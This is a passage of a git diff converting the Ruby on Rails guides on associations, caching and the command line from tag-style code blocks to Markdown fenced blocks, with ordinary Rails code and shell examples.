@@ -1484,11 +1484,11 @@ h6(#has_many-order). +order+
The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, -> { order "date_confirmed DESC" }
end
-</ruby>
+```
h6(#has_many-readonly). +readonly+
@@ -1504,7 +1504,7 @@ h6(#has_many-uniq). +uniq+
Use the +uniq+ method to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :readings
has_many :posts, :through => :readings
@@ -1516,13 +1516,13 @@ person.posts << post
person.posts << post
person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
-</ruby>
+```
In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post.
Now let's set +uniq+:
-<ruby>
+```ruby
class Person
has_many :readings
has_many :posts, -> { uniq }, :through => :readings
@@ -1534,7 +1534,7 @@ person.posts << post
person.posts << post
person.posts.inspect # => [#<Post id: 7, name: "a1">]
Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
-</ruby>
+```
In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
@@ -1573,15 +1573,15 @@ When you declare a +has_and_belongs_to_many+ association, the declaring class au
In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration:
-<ruby>
+```ruby
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
-</ruby>
+```
Each instance of the part model will have these methods:
-<ruby>
+```ruby
assemblies(force_reload = false)
assemblies<<(object, ...)
assemblies.delete(object, ...)
@@ -1596,7 +1596,7 @@ assemblies.where(...)
assemblies.exists?(...)
assemblies.build(attributes = {}, ...)
assemblies.create(attributes = {})
-</ruby>
+```
h6. Additional Column Methods
@@ -1609,17 +1609,17 @@ h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload =
The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-<ruby>
+```ruby
@assemblies = @part.assemblies
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-<ruby>
+```ruby
@part.assemblies << @assembly1
-</ruby>
+```
NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
@@ -1627,9 +1627,9 @@ h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(o
The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-<ruby>
+```ruby
@part.assemblies.delete(@assembly1)
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
@@ -1639,9 +1639,9 @@ h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</e
The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-<ruby>
+```ruby
@assembly_ids = @part.assembly_ids
-</ruby>
+```
h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
@@ -1655,35 +1655,35 @@ h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</t
The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-<ruby>
+```ruby
<% if @part.assemblies.empty? %>
This part is not used in any assemblies
<% end %>
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-<ruby>
+```ruby
@assembly_count = @part.assemblies.size
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
-<ruby>
+```ruby
@assembly = @part.assemblies.find(1)
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
-<ruby>
+```ruby
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
-</ruby>
+```
h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
@@ -1693,30 +1693,30 @@ h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(att
The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
-<ruby>
+```ruby
@assembly = @part.assemblies.build(
{:assembly_name => "Transmission housing"})
-</ruby>
+```
h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-<ruby>
+```ruby
@assembly = @part.assemblies.create(
{:assembly_name => "Transmission housing"})
-</ruby>
+```
h5. Options for +has_and_belongs_to_many+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, :uniq => true,
:read_only => true
end
-</ruby>
+```
The +has_and_belongs_to_many+ association supports these options:
@@ -1733,13 +1733,13 @@ By convention, Rails assumes that the column in the join table used to hold the
TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_and_belongs_to_many :friends, :class_name => "User",
:foreign_key => "this_user_id",
:association_foreign_key => "other_user_id"
end
-</ruby>
+```
h6(#has_and_belongs_to_many-autosave). +:autosave+
@@ -1749,23 +1749,23 @@ h6(#has_and_belongs_to_many-class_name). +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, :class_name => "Gadget"
end
-</ruby>
+```
h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_and_belongs_to_many :friends, :class_name => "User",
:foreign_key => "this_user_id",
:association_foreign_key => "other_user_id"
end
-</ruby>
+```
h6(#has_and_belongs_to_many-join_table). +:join_table+
@@ -1779,11 +1779,11 @@ h5(#has_and_belongs_to_many-scopes_for_has_and_belongs_to_many). Scopes for +has
There may be times when you wish to customize the query used by +has_and_belongs_to_many+. Such customizations can be achieved via a scope block. For example:
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, -> { where :active => true }
end
-</ruby>
+```
You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
@@ -1802,21 +1802,21 @@ h6(#has_and_belongs_to_many-where). +where+
The +where+ method lets you specify the conditions that the associated object must meet.
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies,
-> { where "factory = 'Seattle'" }
end
-</ruby>
+```
You can also set conditions via a hash:
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies,
-> { where :factory => 'Seattle' }
end
-</ruby>
+```
If you use a hash-style +where+, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
@@ -1828,11 +1828,11 @@ h6(#has_and_belongs_to_many-group). +group+
The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, -> { group "factory" }
end
-</ruby>
+```
h6(#has_and_belongs_to_many-includes). +includes+
@@ -1842,12 +1842,12 @@ h6(#has_and_belongs_to_many-limit). +limit+
The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies,
-> { order("created_at DESC").limit(50) }
end
-</ruby>
+```
h6(#has_and_belongs_to_many-offset). +offset+
@@ -1857,12 +1857,12 @@ h6(#has_and_belongs_to_many-order). +order+
The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-<ruby>
+```ruby
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies,
-> { order "assembly_name ASC" }
end
-</ruby>
+```
h6(#has_and_belongs_to_many-readonly). +readonly+
@@ -1899,7 +1899,7 @@ Association callbacks are similar to normal callbacks, but they are triggered by
You define association callbacks by adding options to the association declaration. For example:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :before_add => :check_credit_limit
@@ -1907,13 +1907,13 @@ class Customer < ActiveRecord::Base
...
end
end
-</ruby>
+```
Rails passes the object being added or removed to the callback.
You can stack callbacks on a single event by passing them as an array:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders,
:before_add => [:check_credit_limit, :calculate_shipping_charges]
@@ -1926,7 +1926,7 @@ class Customer < ActiveRecord::Base
...
end
end
-</ruby>
+```
If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
@@ -1934,7 +1934,7 @@ h4. Association Extensions
You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders do
def find_by_order_prefix(order_number)
@@ -1942,11 +1942,11 @@ class Customer < ActiveRecord::Base
end
end
end
-</ruby>
+```
If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-<ruby>
+```ruby
module FindRecentExtension
def find_recent
where("created_at > ?", 5.days.ago)
@@ -1960,7 +1960,7 @@ end
class Supplier < ActiveRecord::Base
has_many :deliveries, -> { extending FindRecentExtension }
end
-</ruby>
+```
Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md
index 712440da32..e2e5dcd550 100644
--- a/guides/source/caching_with_rails.md
+++ b/guides/source/caching_with_rails.md
@@ -17,9 +17,9 @@ This is an introduction to the three types of caching techniques that Rails prov
To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production.
-<ruby>
+```ruby
config.action_controller.perform_caching = true
-</ruby>
+```
h4. Page Caching
@@ -27,7 +27,7 @@ Page caching is a Rails mechanism which allows the request for a generated page
To enable page caching, you need to use the +caches_page+ method.
-<ruby>
+```ruby
class ProductsController < ActionController
caches_page :index
@@ -36,7 +36,7 @@ class ProductsController < ActionController
@products = Product.all
end
end
-</ruby>
+```
Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application.
@@ -46,7 +46,7 @@ The Page Caching mechanism will automatically add a +.html+ extension to request
In order to expire this page when a new product is added we could extend our example controller like this:
-<ruby>
+```ruby
class ProductsController < ActionController
caches_page :index
@@ -60,7 +60,7 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
@@ -68,23 +68,23 @@ By default, page caching automatically gzips files (for example, to +products.ht
Nginx is able to serve compressed content directly from disk by enabling +gzip_static+:
-<plain>
+```
location / {
gzip_static on; # to serve pre-gzipped version
}
-</plain>
+```
You can disable gzipping by setting +:gzip+ option to false (for example, if action returns image):
-<ruby>
+```ruby
caches_page :image, :gzip => false
-</ruby>
+```
Or, you can set custom gzip compression level (level names are taken from +Zlib+ constants):
-<ruby>
+```ruby
caches_page :image, :gzip => :best_speed
-</ruby>
+```
NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+.
@@ -98,7 +98,7 @@ Clearing the cache works in a similar way to Page Caching, except you use +expir
Let's say you only wanted authenticated users to call actions on +ProductsController+.
-<ruby>
+```ruby
class ProductsController < ActionController
before_filter :authenticate
@@ -113,7 +113,7 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
@@ -131,7 +131,7 @@ Fragment Caching allows a fragment of view logic to be wrapped in a cache block
As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
-<ruby>
+```ruby
<% Order.find_recent.each do |o| %>
<%= o.buyer.name %> bought <%= o.product.name %>
<% end %>
@@ -142,34 +142,34 @@ As an example, if you wanted to show all the orders placed on your website in re
<%= link_to p.name, product_url(p) %>
<% end %>
<% end %>
-</ruby>
+```
The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
-<ruby>
+```ruby
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
All available products:
-</ruby>
+```
and you can expire it using the +expire_fragment+ method, like so:
-<ruby>
+```ruby
expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
-</ruby>
+```
If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the +cache+ method with a key:
-<ruby>
+```ruby
<% cache('all_available_products') do %>
All available products:
<% end %>
-</ruby>
+```
This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way:
-<ruby>
+```ruby
expire_fragment('all_available_products')
-</ruby>
+```
h4. Sweepers
@@ -179,7 +179,7 @@ TIP: Sweepers rely on the use of Active Record and Active Record Observers. The
Continuing with our Product controller example, we could rewrite it with a sweeper like this:
-<ruby>
+```ruby
class ProductSweeper < ActionController::Caching::Sweeper
observe Product # This sweeper is going to keep an eye on the Product model
@@ -207,17 +207,17 @@ class ProductSweeper < ActionController::Caching::Sweeper
expire_fragment('all_available_products')
end
end
-</ruby>
+```
You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
-<ruby>
+```ruby
expire_action(:controller => 'products', :action => 'edit', :id => product.id)
-</ruby>
+```
Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
-<ruby>
+```ruby
class ProductsController < ActionController
before_filter :authenticate
@@ -229,11 +229,11 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
Sometimes it is necessary to disambiguate the controller when you call +expire_action+, such as when there are two identically named controllers in separate namespaces:
-<ruby>
+```ruby
class ProductsController < ActionController
caches_action :index
@@ -263,7 +263,7 @@ class ProductSweeper < ActionController::Caching::Sweeper
expire_action(:controller => '/products', :action => 'index')
end
end
-</ruby>
+```
Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the +Admin::ProductsController+, you would use 'admin/products' instead.
@@ -273,7 +273,7 @@ Query caching is a Rails feature that caches the result set returned by each que
For example:
-<ruby>
+```ruby
class ProductsController < ActionController
def index
@@ -287,7 +287,7 @@ class ProductsController < ActionController
end
end
-</ruby>
+```
The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory.
@@ -303,9 +303,9 @@ h4. Configuration
You can set up your application's default cache store by calling +config.cache_store=+ in the Application definition inside your +config/application.rb+ file or in an Application.configure block in an environment specific configuration file (i.e. +config/environments/*.rb+). The first argument will be the cache store to use and the rest of the argument will be passed as arguments to the cache store constructor.
-<ruby>
+```ruby
config.cache_store = :memory_store
-</ruby>
+```
NOTE: Alternatively, you can call +ActionController::Base.cache_store+ outside of a configuration block.
@@ -333,9 +333,9 @@ h4. ActiveSupport::Cache::MemoryStore
This cache store keeps entries in memory in the same Ruby process. The cache store has a bounded size specified by the +:size+ options to the initializer (default is 32Mb). When the cache exceeds the allotted size, a cleanup will occur and the least recently used entries will be removed.
-<ruby>
+```ruby
config.cache_store = :memory_store, { :size => 64.megabytes }
-</ruby>
+```
If you're running multiple Ruby on Rails server processes (which is the case if you're using mongrel_cluster or Phusion Passenger), then your Rails server process instances won't be able to share cache data with each other. This cache store is not appropriate for large application deployments, but can work well for small, low traffic sites with only a couple of server processes or for development and test environments.
@@ -345,9 +345,9 @@ h4. ActiveSupport::Cache::FileStore
This cache store uses the file system to store entries. The path to the directory where the store files will be stored must be specified when initializing the cache.
-<ruby>
+```ruby
config.cache_store = :file_store, "/path/to/cache/directory"
-</ruby>
+```
With this cache store, multiple server processes on the same host can share a cache. Servers processes running on different hosts could share a cache by using a shared file system, but that set up would not be ideal and is not recommended. The cache store is appropriate for low to medium traffic sites that are served off one or two hosts.
@@ -361,17 +361,17 @@ When initializing the cache, you need to specify the addresses for all memcached
The +write+ and +fetch+ methods on this cache accept two additional options that take advantage of features specific to memcached. You can specify +:raw+ to send a value directly to the server with no serialization. The value must be a string or number. You can use memcached direct operation like +increment+ and +decrement+ only on raw values. You can also specify +:unless_exist+ if you don't want memcached to overwrite an existing entry.
-<ruby>
+```ruby
config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
-</ruby>
+```
h4. ActiveSupport::Cache::EhcacheStore
If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
-<ruby>
+```ruby
config.cache_store = :ehcache_store
-</ruby>
+```
When initializing the cache, you may use the +:ehcache_config+ option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
@@ -386,10 +386,10 @@ In addition to the standard +:expires_in+ option, the +write+ method on this cac
These options are passed to the +write+ method as Hash options using either camelCase or underscore notation, as in the following examples:
-<ruby>
+```ruby
Rails.cache.write('key', 'value', :time_to_idle => 60.seconds, :timeToLive => 600.seconds)
caches_action :index, :expires_in => 60.seconds, :unless_exist => true
-</ruby>
+```
For more information about Ehcache, see "http://ehcache.org/":http://ehcache.org/ .
For more information about Ehcache for JRuby and Rails, see "http://ehcache.org/documentation/jruby.html":http://ehcache.org/documentation/jruby.html
@@ -398,9 +398,9 @@ h4. ActiveSupport::Cache::NullStore
This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with +Rails.cache+, but caching may interfere with being able to see the results of code changes. With this cache store, all +fetch+ and +read+ operations will result in a miss.
-<ruby>
+```ruby
config.cache_store = :null_store
-</ruby>
+```
h4. Custom Cache Stores
@@ -408,9 +408,9 @@ You can create your own custom cache store by simply extending +ActiveSupport::C
To use a custom cache store, simple set the cache store to a new instance of the class.
-<ruby>
+```ruby
config.cache_store = MyCacheStore.new
-</ruby>
+```
h4. Cache Keys
@@ -418,10 +418,10 @@ The keys used in a cache can be any object that responds to either +:cache_key+
You can use Hashes and Arrays of values as cache keys.
-<ruby>
+```ruby
# This is a legal cache key
Rails.cache.read(:site => "mysite", :owners => [owner_1, owner_2])
-</ruby>
+```
The keys you use on +Rails.cache+ will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with +Rails.cache+ and then try to pull them out with the +memcache-client+ gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
@@ -433,7 +433,7 @@ They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers
It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
-<ruby>
+```ruby
class ProductsController < ApplicationController
def show
@@ -453,7 +453,7 @@ class ProductsController < ApplicationController
# :not_modified. So that's it, you're done.
end
end
-</ruby>
+```
Instead of a options hash, you can also simply pass in a model, Rails will use the +updated_at+ and +cache_key+ methods for setting +last_modified+ and +etag+:
@@ -468,7 +468,7 @@ end
If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
-<ruby>
+```ruby
class ProductsController < ApplicationController
# This will automatically send back a :not_modified if the request is fresh,
@@ -479,7 +479,7 @@ class ProductsController < ApplicationController
fresh_when :last_modified => @product.published_at.utc, :etag => @product
end
end
-</ruby>
+```
h3. Further reading
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
index 39b75c2781..d4cd6bcda4 100644
--- a/guides/source/command_line.md
+++ b/guides/source/command_line.md
@@ -33,7 +33,7 @@ The first thing we'll want to do is create a new Rails application by running th
INFO: You can install the rails gem by typing +gem install rails+, if you don't have it already.
-<shell>
+```shell
$ rails new commandsapp
create
create README.rdoc
@@ -46,7 +46,7 @@ $ rails new commandsapp
create tmp/cache
...
run bundle install
-</shell>
+```
Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
@@ -58,7 +58,7 @@ INFO: WEBrick isn't your only option for serving Rails. We'll get to that "later
With no further work, +rails server+ will run our new shiny Rails app:
-<shell>
+```shell
$ cd commandsapp
$ rails server
=> Booting WEBrick
@@ -68,7 +68,7 @@ $ rails server
[2012-05-28 00:39:41] INFO WEBrick 1.3.1
[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
-</shell>
+```
With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open "http://localhost:3000":http://localhost:3000, you will see a basic Rails app running.
@@ -76,9 +76,9 @@ INFO: You can also use the alias "s" to start the server: <tt>rails s</tt>.
The server can be run on a different port using the +-p+ option. The default development environment can be changed using +-e+.
-<shell>
+```shell
$ rails server -e production -p 4000
-</shell>
+```
The +-b+ option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a +-d+ option.
@@ -88,7 +88,7 @@ The +rails generate+ command uses templates to create a whole lot of things. Run
INFO: You can also use the alias "g" to invoke the generator command: <tt>rails g</tt>.
-<shell>
+```shell
$ rails generate
Usage: rails generate GENERATOR [args] [options]
@@ -103,7 +103,7 @@ Rails:
generator
...
...
-</shell>
+```
NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
@@ -113,7 +113,7 @@ Let's make our own controller with the controller generator. But what command sh
INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding +--help+ or +-h+ to the end, for example +rails server --help+.
-<shell>
+```shell
$ rails generate controller
Usage: rails generate controller NAME [action action] [options]
@@ -136,11 +136,11 @@ Example:
Functional Test: test/functional/credit_card_controller_test.rb
Views: app/views/credit_card/debit.html.erb [...]
Helper: app/helpers/credit_card_helper.rb
-</shell>
+```
The controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
-<shell>
+```shell
$ rails generate controller Greetings hello
create app/controllers/greetings_controller.rb
route get "greetings/hello"
@@ -158,33 +158,33 @@ $ rails generate controller Greetings hello
create app/assets/javascripts/greetings.js.coffee
invoke scss
create app/assets/stylesheets/greetings.css.scss
-</shell>
+```
What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
Check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
-<ruby>
+```ruby
class GreetingsController < ApplicationController
def hello
@message = "Hello, how are you today?"
end
end
-</ruby>
+```
Then the view, to display our message (in +app/views/greetings/hello.html.erb+):
-<html>
+```html
<h1>A Greeting for You!</h1>
<p><%= @message %></p>
-</html>
+```
Fire up your server using +rails server+.
-<shell>
+```shell
$ rails server
=> Booting WEBrick...
-</shell>
+```
The URL will be "http://localhost:3000/greetings/hello":http://localhost:3000/greetings/hello.
@@ -192,7 +192,7 @@ INFO: With a normal, plain-old Rails application, your URLs will generally follo
Rails comes with a generator for data models too.
-<shell>
+```shell
$ rails generate model
Usage:
rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
@@ -207,7 +207,7 @@ ActiveRecord options:
Description:
Create rails files for model generator.
-</shell>
+```
NOTE: For a list of available field types, refer to the "API documentation":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column for the column method for the +TableDefinition+ class.
@@ -215,7 +215,7 @@ But instead of generating a model directly (which we'll be doing later), let's s
We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-<shell>
+```shell
$ rails generate scaffold HighScore game:string score:integer
invoke active_record
create db/migrate/20120528060026_create_high_scores.rb
@@ -246,27 +246,27 @@ $ rails generate scaffold HighScore game:string score:integer
create app/assets/stylesheets/high_scores.css.scss
invoke scss
create app/assets/stylesheets/scaffolds.css.scss
-</shell>
+```
The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
The migration requires that we *migrate*, that is, run some Ruby code (living in that +20120528060026_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
-<shell>
+```shell
$ rake db:migrate
== CreateHighScores: migrating ===============================================
-- create_table(:high_scores)
-> 0.0017s
== CreateHighScores: migrated (0.0019s) ======================================
-</shell>
+```
INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
Let's see the interface Rails created for us.
-<shell>
+```shell
$ rails server
-</shell>
+```
Go to your browser and open "http://localhost:3000/high_scores":http://localhost:3000/high_scores, now we can create new high scores (55,160 on Space Invaders!)
@@ -278,18 +278,18 @@ INFO: You can also use the alias "c" to invoke the console: <tt>rails c</tt>.
You can specify the environment in which the +console+ command should operate.
-<shell>
+```shell
$ rails console staging
-</shell>
+```
If you wish to test out some code without changing any data, you can do that by invoking +rails console --sandbox+.
-<shell>
+```shell
$ rails console --sandbox
Loading development environment in sandbox (Rails 3.2.3)
Any modifications you make will be rolled back on exit
irb(main):001:0>
-</shell>
+```
h4. +rails dbconsole+
@@ -301,17 +301,17 @@ h4. +rails runner+
<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
-<shell>
+```shell
$ rails runner "Model.long_running_method"
-</shell>
+```
INFO: You can also use the alias "r" to invoke the runner: <tt>rails r</tt>.
You can specify the environment in which the +runner+ command should operate using the +-e+ switch.
-<shell>
+```shell
$ rails runner -e staging "Model.long_running_method"
-</shell>
+```
h4. +rails destroy+
@@ -319,7 +319,7 @@ Think of +destroy+ as the opposite of +generate+. It'll figure out what generate
INFO: You can also use the alias "d" to invoke the destroy command: <tt>rails d</tt>.
-<shell>
+```shell
$ rails generate model Oops
invoke active_record
create db/migrate/20120528062523_create_oops.rb
@@ -327,8 +327,8 @@ $ rails generate model Oops
invoke test_unit
create test/unit/oops_test.rb
create test/fixtures/oops.yml
-</shell>
-<shell>
+```
+```shell
$ rails destroy model Oops
invoke active_record
remove db/migrate/20120528062523_create_oops.rb
@@ -336,7 +336,7 @@ $ rails destroy model Oops
invoke test_unit
remove test/unit/oops_test.rb
remove test/fixtures/oops.yml
-</shell>
+```
h3. Rake
@@ -344,7 +344,7 @@ Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'mak
You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
-<shell>
+```shell
$ rake --tasks
rake about # List versions of all Rails frameworks and the environment
rake assets:clean # Remove compiled assets
@@ -356,13 +356,13 @@ rake middleware # Prints out your Rack middleware stack
...
rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
-</shell>
+```
h4. +about+
<tt>rake about</tt> gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-<shell>
+```shell
$ rake about
About your application's environment
Ruby version 1.9.3 (x86_64-linux)
@@ -379,7 +379,7 @@ Application root /home/foobar/commandsapp
Environment development
Database adapter sqlite3
Database schema version 20110805173523
-</shell>
+```
h4. +assets+
@@ -403,7 +403,7 @@ h4. +notes+
